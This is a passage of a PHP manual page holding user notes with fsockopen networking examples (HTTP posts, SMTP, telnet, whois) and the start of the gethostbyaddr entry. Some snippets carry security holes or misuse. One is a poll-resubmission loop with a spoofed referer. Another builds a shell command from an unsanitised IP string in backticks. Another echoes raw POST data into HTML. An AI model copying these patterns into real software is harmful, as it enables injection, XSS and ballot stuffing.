$result = stream_context_set_option($context, 'ssl', 'passphrase', 'pass_to_access_keys');

$socket = fsockopen('ssl://'.$host, 443, $errno, $errstr, 30, $context);
?>
jack at jtr dot de
17-Feb-2004 06:05
Here is a function for testing a website/URI for availability:

<?php
   /*
   * @return boolean
   * @param  string $link
   * @desc  berprft die angegeben URL auf Erreichbarkeit (HTTP-Code: 200)
   */
   function url_validate( $link )
   {
       $url_parts = @parse_url( $link );

       if ( empty( $url_parts["host"] ) ) return( false );

       if ( !empty( $url_parts["path"] ) )
       {
           $documentpath = $url_parts["path"];
       }
       else
       {
           $documentpath = "/";
       }

       if ( !empty( $url_parts["query"] ) )
       {
           $documentpath .= "?" . $url_parts["query"];
       }

       $host = $url_parts["host"];
       $port = $url_parts["port"];
       // Now (HTTP-)GET $documentpath at $host";

       if (empty( $port ) ) $port = "80";
       $socket = @fsockopen( $host, $port, $errno, $errstr, 30 );
       if (!$socket)
       {
           return(false);
       }
       else
       {
           fwrite ($socket, "HEAD ".$documentpath." HTTP/1.0\r\nHost: $host\r\n\r\n");
           $http_response = fgets( $socket, 22 );

           if ( ereg("200 OK", $http_response, $regs ) )
           {
               return(true);
               fclose( $socket );
           } else
           {
//                echo "HTTP-Response: $http_response<br>";
               return(false);
           }
       }
   }
?>
sir_reality2001 at yahoo dot com
14-Feb-2004 01:45
<?
// This is a modification to the script I submitted below.
// This script is an example of posting multiple files using
// fsockopen.
// The tricky part is making sure the HTTP headers and file boundaries are acceptable to the target webserver.
// This script is for example purposes only and could/should be improved upon.

$host='targethost';
$port=80;
$path='/test/socket/file_upload/receive_files.php';

// the file you want to upload
$file_array[0] = "dingoboy.gif"; // the file
$file_array[1] = "dingoboy2.gif"; // the file
$file_array[2] = "dingoboy3.gif"; // the file
$content_type = "image/gif"; // the file mime type
//$content_type = "text/plain";
//echo "file_array[0]:$file_array[0]<br><br>";

srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);

$data = "--$boundary";

for($i=0;$i<count($file_array);$i++){
   $content_file = join("", file($file_array[$i]));

   $data.="
Content-Disposition: form-data; name=\"file".($i+1)."\"; filename=\"$file_array[$i]\"
Content-Type: $content_type

$content_file
--$boundary";

}

$data.="--\r\n\r\n";

$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";

$result="";

// open the connection
$f = fsockopen($host, $port);

fputs($f,$msg.$data);

// get the response
while (!feof($f)) $result .= fread($f,32000);

fclose($f);

?>
xbiron at citenet dot net
25-Jan-2004 03:42
Header to declare cookie :

<?php
/* [other headers] */
# Syntax => Cookie: name=value; name=value
# Never finish with ';'
$header.= "Cookie: name_cookie1=value_cookie1; name_cookie2=value_cookie2\r\n";
?>

Header to create cookie :

<?php
/* [other headers] */
# Syntax => Set-Cookie: name=value[; path=PATH][; expires=DATE][; domain=DOMAIN_NAME][; secure]
# DATE format : Day, dd-Mmm-yy hh:ii:ss GMT
# Never finish with ';'
$header.= "Set-Cookie: name_cookie=value_cookie; path=\; Friday, 13-Jan-03 12:00:00 GMT\r\n";
?>
rob at robhulme dot com
24-Jan-2004 01:17
Just a note to everyone who is using fsockopen and fread / fgets for a HTTP connection.

Unless you specify "Connection: Close" in your headers you will need to wait for the socket to time out before feof($streamPointer) to return true.

This has wasted 2 days of my time, grr!

-Rob
asalamanca at redcetus dot com
19-Nov-2003 03:27
This is a very fast program for test a form or link (many times).
<?php
$repeat  = 100;  // How many times repeat the test

$timeout = 100;  // Max time for stablish the conection
$size    = 16;  // Bytes will be read (and display). 0 for read all

$server  = '64.246.30.37';            // IP address
$host    = 'www.foo.com';            // Domain name
$target  = '/poll/answer.asp';        // Specific program
$referer = 'http://www.test.com/';    // Referer
$port    = 80;

// Setup an array of fields to get with then create the get string
$gets = array ( 'get_field_1' => 'somevalue',
               'get_field_2' => 'somevalue' );

// Setup an array of fields to post with then create the post string
$posts = array ( 'post_field_1' => 'somevalue',
                 'post_field_2' => 'somevalue' );

// That's all. Now the program proccess $repeat times

$method = "GET";
if ( is_array( $gets ) ) {
   $getValues = '?';
   foreach( $gets AS $name => $value ){
       $getValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
   }
   $getValues = substr( $getValues, 0, -1 );
} else {
   $getValues = '';
}

if ( is_array( $posts ) ) {
   foreach( $posts AS $name => $value ){
       $postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
   }
   $postValues = substr( $postValues, 0, -1 );
   $method = "POST";
} else {
   $postValues = '';
}

$request  = "$method $target$getValues HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) ';
$request .= "Gecko/20021204\r\n";
$request .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$request .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$request .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$request .= "Accept-Language: en-us, en;q=0.50\r\n";
$request .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
$request .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: $referer\r\n";
$request .= "Cache-Control: max-age=0\r\n";

if ( $method == "POST" ) {
   $lenght = strlen( $postValues );
   $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
   $request .= "Content-Length: $lenght\r\n";
   $request .= "\r\n";
   $request .= $postValues;
}

for ( $i = 0; $i < $repeat; $i++ ) {
   $socket  = fsockopen( $server, $port, $errno, $errstr, $timeout );
   fputs( $socket, $request );
   if ( $size > 0 ) {
       $ret = fgets( $socket, $size );
   } else {
       $ret = '';
       while ( !feof( $socket ) ) {
           $ret .= fgets( $socket, 4096 );
       }
   }
   fclose( $socket );
   echo "<hr> $i -- $content $ret";
}
?>

Alejandro Salamanca
RedCetus.com
terminal
24-Oct-2003 03:30
Try this.
Use AUTH when necessary.
Read RFC 821 when having problems.

<?php

   $handle = smtp_connect($smtp_server, 25, 30, 1, 1, 1);
   echo smtp_command($handle, "EHLO $domain\r\n", 1, 1);
   echo smtp_command($handle, "MAIL FROM:<$from_mail>\r\n", 1, 1);
   echo smtp_command($handle, "RCPT TO:<$to_mail>\r\n", 1, 1);
   echo smtp_command($handle, "DATA\r\n", 1, 1);
   echo smtp_command($handle, "$message\r\n.\r\n", 1, 1);
   // don't do it like this - it will hang up
   // echo smtp_command($handle, "$message", 1, 1);
   // echo smtp_command($handle, "\r\n.\r\n", 1, 1);
   echo smtp_command($handle, "QUIT\r\n", 1, 1);
   smtp_close($handle);

   function smtp_connect($host, $port, $timeout=30, $echo_command=False, $echo_response=False, $nl2br=False)
   {
       $errno = 0;
       $errstr = 0;
       if($echo_command)
       {
           if($nl2br) { echo nl2br("CONNECTING TO $host\r\n"); }
           else { echo "CONNECTING TO $host\r\n"; }
       }
       $handle = fsockopen($host, $port, $errno, $errstr, $timeout);
       if(!$handle)
       {
           if($echo_command)
           {
               if($nl2br) { echo nl2br("CONNECTION FAILED\r\n"); }
               else { echo "CONNECTION FAILED\r\n"; }
           }
           return False;
       }
       if($echo_command)
       {
           if($nl2br) { echo nl2br("SUCCESS\r\n"); }
           else { echo "SUCCESS\r\n"; }
       }
       $response = fgets($handle,1);
       $bytes_left = socket_get_status($handle);
       if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
       if($echo_response)
       {
           if($nl2br) { echo nl2br($response); }
           else { echo $response; }
       }
       return $handle;
   }

   function smtp_command($handle, $command, $echo_command=False, $nl2br=False)
   {
       if($echo_command)
       {
           if($nl2br) { echo nl2br($command); }
           else { echo $command; }
       }
       fputs($handle, $command);
       $response = fgets($handle,1);
       $bytes_left = socket_get_status($handle);
       if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
       if($nl2br) { return nl2br($response); }
       else { return $response; }
   }

   function smtp_close($handle)
   {
       fclose($handle);
   }
?>
richardaburton at hotmail dot com
19-Oct-2003 11:29
Improved HTTP/1.1 chunked transfer-encoding example.

The sample code given below by Jack does not function correctly when run against a recent version of Apache (I'm assuming that this did once work, but from the HTTP/1.1 spec I can only assume if it did work it was based mostly on luck).

<?php

$header = "";
$response = "";

// connect
if (!($request=fsockopen('whatever.com',80,$errno,$errstr))) exit($errstr);
else {
   socket_set_timeout($request,10);
   // send request
   fwrite($request,$post);
   // get header
   do $header.=fread($request,1); while (!preg_match('/\\r\\n\\r\\n$/',$header));
   // check for chunked encoding
   if (preg_match('/Transfer\\-Encoding:\\s+chunked\\r\\n/',$header))
     do {
         $byte = "";
         $chunk_size="";
         do {
           $chunk_size.=$byte;
           $byte=fread($request,1);
         } while ($byte!="\\r");      // till we match the CR
         fread($request, 1);        // also drop off the LF
         $chunk_size=hexdec($chunk_size); // convert to real number
         $response.=fread($request,$chunk_size);
         fread($request,2);          // ditch the CRLF that trails the chunk
     } while ($chunk_size);        // till we reach the 0 length chunk (end marker)
   else {
     // check for specified content length
     if (preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/',$header,$matches)) {
         $response=fread($request,$matches[1]);
     } else {
         // not a nice way to do it (may also result in extra CRLF which trails the real content???)
         while (!feof($request)) $response .= fread($request, 4096);
     }
   }
   // close connection
   fclose($request);
}

// do something useful with the response
print($header);
print($response);

?>

Richard.
pulstar at ig dot com dot br
24-Sep-2003 02:24
To emulate a web browser with PHP using socket functions, there is a very good class to do this:

http://sourceforge.net/projects/snoopy/

Some of its features:

* easily fetch the contents of a web page
* easily fetch the text from a web page (strip html tags)
* easily fetch the the links from a web page (add a filter for "mailto:" links and you can easily fetch e-mail addresses).
* supports proxy hosts
* supports basic user/pass authentication
* supports setting user_agent, referer, cookies and header content
* supports browser redirects, and controlled depth of redirects
* expands fetched links to fully qualified URLs (default)
* easily submit form data and retrieve the results
* supports SSL and frames
joe at edwardsconsultants dot com
10-Aug-2003 05:56
just a quick note for users attempting https and thinking they must resort to curl or alternate methods -
you can use fsockopen, just read the docs closely.  basically they are saying to use 'ssl://' for a HTTPS (SSL) web request.

so this would work for authorize.net, and others; even for that paypal IPN - however I think it would be best to leave the site and deal with paypal's form:

$host = "somehost.somedomain.com";
$port = 443;
$path = "/the/url/path/file.php"; //or .dll, etc. for authnet, etc.

//you will need to setup an array of fields to post with
//then create the post string
$formdata = array ( "x_field" => "somevalue");
//build the post string
  foreach($formdata AS $key => $val){
   $poststring .= urlencode($key) . "=" . urlencode($val) . "&";
  }
// strip off trailing ampersand
$poststring = substr($poststring, 0, -1);

$fp = fsockopen("ssl://".$host, $port, $errno, $errstr, $timeout = 30);

if(!$fp){
 //error tell us
 echo "$errstr ($errno)\n";

}else{

  //send the server request
  fputs($fp, "POST $path HTTP/1.1\r\n");
  fputs($fp, "Host: $host\r\n");
  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  fputs($fp, "Content-length: ".strlen($poststring)."\r\n");
  fputs($fp, "Connection: close\r\n\r\n");
  fputs($fp, $poststring . "\r\n\r\n");

  //loop through the response from the server
  while(!feof($fp)) {
   echo fgets($fp, 4096);
  }
  //close fp - we are done with it
  fclose($fp);
}
sergiopaternoster at tiscali dot it
31-Jul-2003 01:49
If you want to connect via Telnet, it could be useful to set also the Terminal Type (some OS requires it)

$IAC  = chr(255);  /* interpret as command: */
$SB = chr(250);    /* interpret as subnegotiation */
$SE = chr(240);    /* end sub negotiation */
$TELOPT_TTYPE = chr(24);    /* terminal type */
$TELQUAL_IS = chr(0);    /* Option is... */

//sending Terminal Type
fwrite($sock,$IAC.$SB.$TELOPT_TTYPE.$TELQUAL_IS.'vt100'.$IAC.$SE);

ciao
Sergio Paternoster
johnyu at revolutionhosting dot net
24-Jul-2003 05:45
It appears with PHP 4.3.2, on windows machines. fsockopen isn't able to use the ssl:// prefix even if you have the OpenSSL dll loaded in php.ini

On the otherhand, with PHP 4.5 CVS, it looks like SSL support for fsockopen is already compiled in... but it's missing the zip lib which I also need =(
brage (a t) jeffnappi (d.o.t) commie
10-Jul-2003 05:16
thought you guys may appreciate this function, allows you to pass an array of urls to download and does so simultaneously using non-blocking sockets, then returns the data in an array.

// function connects to an array of URLS at the same time
// and returns an array of results.

function multiHTTP ($urlArr) {
 $sockets = Array(); // socket array!
 $urlInfo = Array(); // info arr
 $retDone = Array();
 $retData = Array();
 $errno  = Array();
 $errstr  = Array();
 for ($x=0;$x<count($urlArr);$x++) {
  $urlInfo[$x] = parse_url($urlArr[$x]);
  $urlInfo[$x][port] = ($urlInfo[$x][port]) ? $urlInfo[$x][port] : 80;
  $urlInfo[$x][path] = ($urlInfo[$x][path]) ? $urlInfo[$x][path] : "/";
  $sockets[$x] = fsockopen($urlInfo[$x][host], $urlInfo[$x][port],
                           $errno[$x], $errstr[$x], 30);
  socket_set_blocking($sockets[$x],FALSE);
  $query = ($urlInfo[$x][query]) ? "?" . $urlInfo[$x][query] : "";
  fputs($sockets[$x],"GET " . $urlInfo[$x][path] . "$query HTTP/1.0\r\nHost: " .
       $urlInfo[$x][host] . "\r\n\r\n");
 }
 // ok read the data from each one
 $done = false;
 while (!$done) {
  for ($x=0; $x < count($urlArr);$x++) {
   if (!feof($sockets[$x])) {
   if ($retData[$x]) {
     $retData[$x] .= fgets($sockets[$x],128);
   } else {
     $retData[$x] = fgets($sockets[$x],128);
   }
   } else {
   $retDone[$x] = 1;
   }
  }
  $done = (array_sum($retDone) == count($urlArr));
 }
 return $retData;
}

# also if anyone has idea to improve this that would be wonderful
chris at music-server dot com
03-Jul-2003 09:53
I also needed a file upload via fsockopen and tried to work with Chris Snyders posting above:

========================
POST /path/to/script.php HTTP/1.0
Host: example.com
Content-type: multipart/form-data, boundary=AaB03x
Content-Length: $requestlen

--AaB03x
content-disposition: form-data; name="field1"

$field1
--AaB03x
content-disposition: form-data; name="field2"

$field2
--AaB03x
content-disposition: form-data; name="userfile"; filename="$filename"
Content-Type: $mimetype
Content-Transfer-Encoding: binary

$binarydata
--AaB03x--
==========================

I discovered some weird behaviour on my Linux server with PHP 4.0 and wanted to let you know :)

1) Lines needed to end with \r\n (else the last character of the value was cropped)
2) I needed to remove Content-Type and Content-Transfer-Encoding from the binary "userfile" - else the uploaded file contained these strings and was invalid!
3) The receiving script couldn't reference to the variables $field1 although register_globals was switched on! Needed to work with $HTTP_POST_VARS['field1'] and $HTTP_POST_FILES['userfile'] to get the values.

o.k., here's the script sending the header:

$f=fsockopen($server,80,$errno,$errstr,30);
fwrite($f,$header);
fclose($f);

The receiving script is as easy :) The file was uploaded to $HTTP_POST_FILES['userfile']['tmp_name'] and the variables were named as mentioned above.

Hope, it prevents spending another afternoon to figure out a file-upload this way :-)
xbensemhoun at t-systems dot fr
25-Jun-2003 05:48
To make a telnet connection with a Cisco router:

$cfgServer = "192.168.0.10";  //IP of your router
$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, &$errno, &$errstr, $cfgTimeOut);

if(!$usenet)
       {
       echo "Connexion failed\n";
       exit();
       }
else
       {
       echo "Connected\n<BR>";
       fputs ($usenet, "toto\r\n");
       fputs ($usenet, "en\r\n");
       fputs ($usenet, "tutu\r\n");
       fputs ($usenet, "exit\r\n");
       while (!feof($usenet))
               {
               echo ". ".fgets($usenet, 128)."<BR>\n";
               }
       }

Then you will have:
Connected
. 
.
. User Access Verification
.
. Password:
. testXB>en
. Password:
. testXB#exit
.
blazely at removetoemail netspace net au
09-Jun-2003 12:55
Here's a quick function to establish a connection to a web server that will time out if the connection is lost after a user definable amount of time or if the server can't be reached.

Also supports Basic authentication if a username/password is specified. Any improvements or criticisms, please email me! :-)

Returns either a resource ID, an error code or 0 if the server can't be reached at all. Returns -1 in the event that something really wierd happens like a non-standard http response or something. Hope it helps someone.

Cheers,

Ben Blazely

function connectToURL($addr, $port, $path, $user="", $pass="", $timeout="30")
{
       $urlHandle = fsockopen($addr, $port, $errno, $errstr, $timeout);

       if ($urlHandle)
       {
               socket_set_timeout($urlHandle, $timeout);

               if ($path)
               {
                       $urlString = "GET $path HTTP/1.0\r\nHost: $addr\r\nConnection: Keep-Alive\r\nUser-Agent: MyURLGrabber\r\n";
                       if ($user)
                               $urlString .= "Authorization: Basic ".base64_encode("$user:$pass")."\r\n";
                       $urlString .= "\r\n";

                       fputs($urlHandle, $urlString);

                       $response = fgets($urlHandle);

                       if (substr_count($response, "200 OK") > 0)      // Check the status of the link
                       {
                               $endHeader = false;                    // Strip initial header information
                               while ( !$endHeader)
                               {
                                       if (fgets($urlHandle) == "\r\n")
                                               $endHeader = true;
                               }

                               return $urlHandle;                      // All OK, return the file handle
                       }
                       else if (strlen($response) < 15)                // Cope with wierd non standard responses
                       {
                               fclose($urlHandle);
                               return -1;
                       }
                       else                                            // Cope with a standard error response
                       {
                               fclose($urlHandle);
                               return substr($response,9,3);
                       }
               }

               return $urlHandle;
       }
       else
               return 0;
}
annettetruong at yahoo dot com
28-May-2003 07:23
I need to use Paypal IPN and can't use fsockopen() or cURL. I'm trying the following as a workaround to using fsockopen() which creates a hidden form that is automatically submitted upon page load, with the final verification step from Paypal caught in the iframe. I would appreciate comments on the pitfalls to this method.

About Paypal IPN:
http://www.paypal.com/cgi-bin/webscr?cmd=p/xcl/rec/ipn-intro-outside

Thanks, Annette.

<?php
   // Create one additional form element called 'cmd'
   $hiddenForm = "<input type='hidden' name='cmd' value='_notify-validate'>\n";

   // Assemble page structure
   $pageBody = "<body onLoad='document.all.myForm.submit();'>";
   $pageBody .= "<h2>IPN Results</h2>";

   // Look at values sent via POST.
   // Add to hidden form in same order.
   foreach ($_POST as $key => $value) {
     $hiddenForm .= "<input type='hidden' name='".$key."' value='".$value."'>\n";
     // Display everything on the page for inspection.
     echo $key.": ".$value."<br>\n";
   }
   // Assemble Paypal IPN hidden form.
   $hiddenForm = "<form name='myForm' method='POST' action='https://www.paypal.com/cgi-bin/webscr' target='myFrame'>\n".$hiddenForm."</form>\n<br>";

   // Display helpful message about iframe.
   $pageBody .= "The frame below will contain the IPN response: VERIFIED or INVALID.<br>\n";

   // Create iframe to catch results of automatic
   // form submission. This frame should
   // display 'VERIFIED' or 'INVALID'. If it shows
   // a paypal page then something went wrong.
   $iFrame = "<iframe name='myFrame'></iframe><br>\n";
   $pageBody .= $hiddenForm;
   $pageBody .= $iFrame;
   $pageBody .= "</body></html>\n";

   // Display page that contains automatic form
   // submission with embedded iframe.
   echo $pageBody;

?>
Ignacio Sbampato
05-May-2003 01:49
You can know from which country are your visitors sending a query to ip-to-country online tool using code below:

****************************************

$ip = $REMOTE_ADDR;

$doc = "/get-country/?ip=" . $ip . "&user=guest&pass=guest";
$url = "ip-to-country.com";

$fp = fsockopen ($url, 80, $errno, $errstr, 30);
if (!$fp) {
   echo "$errstr ($errno)<br/>\n";
} else {
   fputs ($fp, "GET $doc HTTP/1.0\r\nHost: " . $url. "\r\n\r\n");
   while (!feof($fp)) {
       $httpresult = fgets ($fp,1024);
   }
   fclose ($fp);
}

if (isset($httpresult))
{
   echo "Ud. est accediendo desde: <b>$httpresult</b>";
}

****************************************

NOTE: I had to modify the code provided by ip-to-country in its own Tools section because is buggy.
csnyder at chxo dot com
29-Mar-2003 11:04
Need to create a POST request that uploads a file?
I spent this afternoon trying to figure out what one looks like, and here is a template that has been successful for me:

========================
POST /path/to/script.php HTTP/1.0
Host: example.com
Content-type: multipart/form-data, boundary=AaB03x
Content-Length: $requestlen

--AaB03x
content-disposition: form-data; name="field1"

$field1
--AaB03x
content-disposition: form-data; name="field2"

$field2
--AaB03x
content-disposition: form-data; name="userfile"; filename="$filename"
Content-Type: $mimetype
Content-Transfer-Encoding: binary

$binarydata
--AaB03x--
==========================

Note that you have to generate the Content-Length header after you generate the body of the request (from the first --AaB03x down, including the file data), so the thing to do in practice is to build the body first, get the strlen(), and then build the headers onto the front of the body.

See RFC1867 - Form-based File Upload in HTML (http://www.faqs.org/rfcs/rfc1867.html) for more info on the format of "multipart/form-data" posts.
Good luck!
admin at php dot kz
28-Mar-2003 09:19
[quote]have seen in lot of places ppl asking on how to post data to another server using a php script...so here is what is required to do that...

//create a string with all the posted data...

foreach ($HTTP_POST_VARS as $key => $value) {
$value = urlencode(stripslashes($value));
 $req .= "&$key=$value";
}
.....
[/quote]

it is better to move '&' sign to the end of string

$req .= "$key=$value&";
nospam at phppatterns dot com
10-Mar-2003 04:20
The second half of the sample chapter (chptr 2) from Pro PHP Web Services is an in depth look at the HTTP protocol and how to build PHP clients for it.

http://www.wrox.com/books/sample-chapters/SampleChapter_1861008074.pdf [ free ]
matthijs at rohs dot nl
18-Feb-2003 06:38
Here's a function that finds the Server Software of a server and returns it. The timeout is at 1 second, but I would prefer, if you use this function many times on a page, to set it lower.

<?php
   function get_server_software($domain) {
       $fp = fsockopen($domain, 80, $errno, $errstr, 1);

       if (!$fp) {
           return("");
       }

       else {
           fputs($fp, "HEAD / HTTP/1.1\r\nHost: " . $domain . "\r\n\r\n");

           while (!feof($fp)) {
               if (preg_match("/\bServer:/", $server = fgets($fp, 256))) {
                   fclose($fp);
                   return(substr($server, 8, -2));
               }
           }

           fclose($fp);
       }
   }
?>
Sherif Gayed
30-Jan-2003 02:00
Here is how to connect to the web from behind a proxy server:
/*************start code**************/
/*your proxy server address*/
$proxy = "192.168.10.1";
/*your proxy server port*/
$port = 8080;
/*the url you want to connect to*/
$url = "http://www.php.net/";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $url HTTP/1.0\r\nHost: $proxy\r\n\r\n");
while(!feof($fp)){
  $line = fgets($fp, 4000);
  print($line);
}
fclose($fp);
/*************end code**************/
bart at mediawave dot nl
06-Jan-2003 07:44
Here is a good article on some of the differences between HTTP 1.0 and HTTP 1.1.

http://wireless.java.sun.com/midp/questions/chunking/
g dot bashi at ntlworld dot com
04-Jan-2003 01:55
The timeout parameter was not supported under windows until PHP 4.3.0, previously it was fixed at 30sec.
dan at lovepond dot com
18-Dec-2002 05:38
<?
$port=4000;
$host="localhost";
$message="test";
$status=senddata($host,$port,$message);
print "$status";

function senddata($host,$port,$message) {

#takes in account servers that do not return EOF character
#send data to server and get back input

#function globals
$linenumber="2"; #amount of lines to get rid of before we give input
$lineamount="1"; #amount of lines to read after we give input

$fp = fsockopen("$host", $port, $errno, $errstr, 30);
if (!$fp) {
   echo "$errstr ($errno)";
}
else {
   for ($i = 1; $i < $linenumber+1; $i++) {
     fread ($fp,1);
     $bytes_left = socket_get_status($fp);
     if ($bytes_left > 0) { fread($fp, $bytes_left[unread_bytes]); }
   }
   fputs($fp, "$message\r\n");
   for ($i = 1; $i < $lineamount+1; $i++) {
     $status.=fread($fp,1);
     $bytes_left = socket_get_status($fp);
     if ($bytes_left > 0) { $status.=fread($fp, $bytes_left[unread_bytes]); }
   }
   fclose ($fp);
}

return $status;
}

?>

Here is some code to help out abit more with the EOF problem.
I had a problem where I needed to strip out so many lines of server input to get back right data i wanted. UPDATE
verran at descent-rangers dot com
17-Oct-2002 10:28
I was tearing my hair out for a week trying to figure out how to do this.

If you use fsockopen with a service that doesn't have an EOF, or you try to read beyond EOF or line break, PHP can hang completely.

In my case, I was trying to write a class that talks to Kali servers (www.kali.net) to get a list of people on the chat server. To keep PHP from hanging due to the above, I discovered this:

   class kali_utils {
       function games_list($kali_server_ip, $kali_server_port) {
           $result = array();
           $fp = fsockopen($kali_server_ip, $kali_server_port, $errno, $error, 30);
           if (!$fp) {
               $result["errno"] = $errno;
               $result["error"] = $error;
           }
           else {
               fputs($fp, "KALIQ");
               $header = fread($fp, 5);
               $bytes_left = socket_get_status($fp);
               if ($bytes_left > 0) {
                   $result["results"] = fread($fp, $bytes_left["unread_bytes"]);
               }
               else {
                   $result["results"] = "";
               }
               fclose($fp);
           }
           return $result;
       }
   }

When I send the request packet, I get a response packet of length 5. Then I call socket_get_status() and use the unread_bytes key from it to know how far to fread from the socket. Works very good.

I've only used this on PHP 4.2.1 so far.
iain at monitormedia dot co dot uk
19-Jul-2002 08:48
Here's how to send an email using SMTP. This includes rudimentary checking on server responses during the process of sending an email. Could be improved by more comprehensive processing of the result codes...or going on to the next mail exchanger when you fail after connecting to the first.

<?

function another_mail($to,$subject,$headers,$message)
{
 // Could get this from the php ini?
 $from="me@here.com";
 list($me,$mydomain) = split("@",$from);

 // Now look up the mail exchangers for the recipient
 list($user,$domain) = split("@",$to,2);
 if(getmxrr($domain,$mx,$weight) == 0)  return FALSE;

 // Try them in order of lowest weight first
 array_multisort($mx,$weight);
 $success=0;

 foreach($mx as $host) {
  // Open an SMTP connection
  $connection = fsockopen ($host, 25, &$errno, &$errstr, 1);
  if (!$connection)
   continue;
  $res=fgets($connection,256);
  if(substr($res,0,3) != "220") break;

  // Introduce ourselves
  fputs($connection, "HELO $mydomain\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope from
  fputs($connection, "MAIL FROM: $from\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope to
  fputs($connection, "RCPT TO: $to\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // The message
  fputs($connection, "DATA\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "354") break;

  // Send To:, From:, Subject:, other headers, blank line, message, and finish
  // with a period on its own line.
  fputs($connection, "To: $to\nFrom: $from\nSubject: $subject\n$headers\n\n$message\n.\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Say bye bye
  fputs($connection,"QUIT\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "221") break;

  // It worked! So break out of the loop which tries all the mail exchangers.
  $success=1;
  break;
 }
 // Debug for if we fall over - uncomment as desired
 // print $success?"Mail sent":"Failure: $res\n";
 if($connection) {
  if($success==0) fputs($connection, "QUIT\n");
  fclose ($connection);
 }
 return $success?TRUE:FALSE;
}

another_mail("recipient@some.domain","My Subject","X-mailer: PHP Script\nX-another-header: Whatever","Test email body.\n\nNote if you actually put a period on a line\nby itself, the function will terminate prematurely.\n\nYou will get a partial email sent though.\n");
?>
t dot hodder at globalgold dot co dot uk
26-Jun-2002 11:52
You can post to a script that uses basic authentication if you create the
header like this and insert it into the relevant script above;

// Build the header
$header = "POST /path/to/script.cgi HTTP/1.0\r\nAuthorization: Basic ";
$header .= base64_encode("$username:$password") . "\r\n";
$header .= "Content-type: application/x-www-form-urlencoded\r\n";
$header .= "Content-length: " . strlen($request) . "\r\n";
$header .= "Connection: close\r\n\r\n";
philip at cornado dot com
17-Mar-2002 07:14
An example to send POST data using fsockopen can be seen here:
http://www.faqts.com/knowledge_base/view.phtml/aid/12039/fid/51
Arif dot Budiman at no dot spam dot please
17-Jan-2002 12:43
This example queries Network Solutions whois database:

<?
$domain = "arifbudiman.net";

if (trim($domain) <> "") {
   $domain = trim($domain);
   $fp = fsockopen("whois.networksolutions.com", 43, $errno, $errstr, 30);
   if (!$fp) {
     echo "$errstr ($errno)";
   } else {
     fputs($fp, "$domain\r\n");
     print "<pre>\r\n";
     while (!feof($fp)) {
         echo fread($fp,128);
     }
     print "</pre>";
     fclose ($fp);
   }
}
?>
info at TAKETHISOUT dot ski-info-online dot com
08-Jan-2002 10:30
This is a "gotcha" that "got me" and discusses the careful use of HTTP/1.1 over HTTP/1.0

I had a script that suffered dreadful performance and return Hex values amongst the correct data. This was eventually traced to my inclusion of HTTP/1.1 in the line which read:

-- CODE (watch wrap) --
  $request = "GET $document" . "?" . "$query" . " HTTP/1.1\r\n";
  $request .= "Host: $myServer\r\n\r\n";
-- CODE --

By sending a HTTP/1.1 request it declares that it is willing to 'speak' HTTP/1.1, of course, but there are some aspects of HTTP/1.1 that make it necessary to handle the socket differently from HTTP/1.0.

In the RFC 2616, Section 3.6 defines:

[...]
All HTTP/1.1 applications MUST be able to receive and decode the "chunked" transfer-coding,
[...]

This was the cause of the extraneous HEX values being displayed.

Regards the loss of performance, this is also due to using HTTP/1.1, which defaults to having keepalive on until you tell it to close the connection, or it times out. Therefore the socket was being kept open by the script.

Simply changing the line in the script to HTTP/1.0 completely fixed the problem.

Speaking with one of the members in PHP-dev his words were:

[Comment from Hartmut Holzgraefe]
"I stumbled over the same 'chunked' problem not to long ago as a rule of thumb: never use HTTP/1.1 unless you really know that you have to, claiming to be a HTTP/1.0 client is no problem."

I have posted this as it was something I found very difficult to debug as there is actually nothing wrong with the script. This sort of problem often requires an in depth knowledge of an area that most developers would not have or consider. I would doubt that many, in any, who are reading this have ever read the HTTP RFC 2616 (I doubt also that it is a rivetting read :))  I hope this helps any future developers who are considering the use of high level socket connections with HTTP/1.1.
add a note add a note

后退 | 起点 | 前进
dns_get_record | 上一级 | gethostbyaddr


gethostbyaddr

(PHP 3, PHP 4, PHP 5)

gethostbyaddr -- Get the Internet host name corresponding to a given IP address

Description

string gethostbyaddr ( string ip_address )

Returns the host name of the Internet host specified by ip_address or a string containing the unmodified ip_address on failure.

例子 1. A simple gethostbyaddr() example

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);

echo $hostname;
?>

See also gethostbyname(), and gethostbynamel().

add a note add a note User Contributed Notes
CanYouFlyBilly
18-Apr-2006 05:08
Just wanted to contribute for the solaris folks out there that don't have "host" installed.  This will return the resolved named of the specified ip address if it exist.

NOTE: The " " in the explode statement should be a tab character. explode was used instead of preg_split in order to eliminate regular expression overhead.

<?
function gethost($ipaddress)
{
   $host = trim( `getent hosts $ipaddress` );
   $host=explode(" ",$host);
   if(isset($host[1])) return $host[1];
   else return "";
}
?>
oryan at zareste dot com
01-Mar-2006 07:17
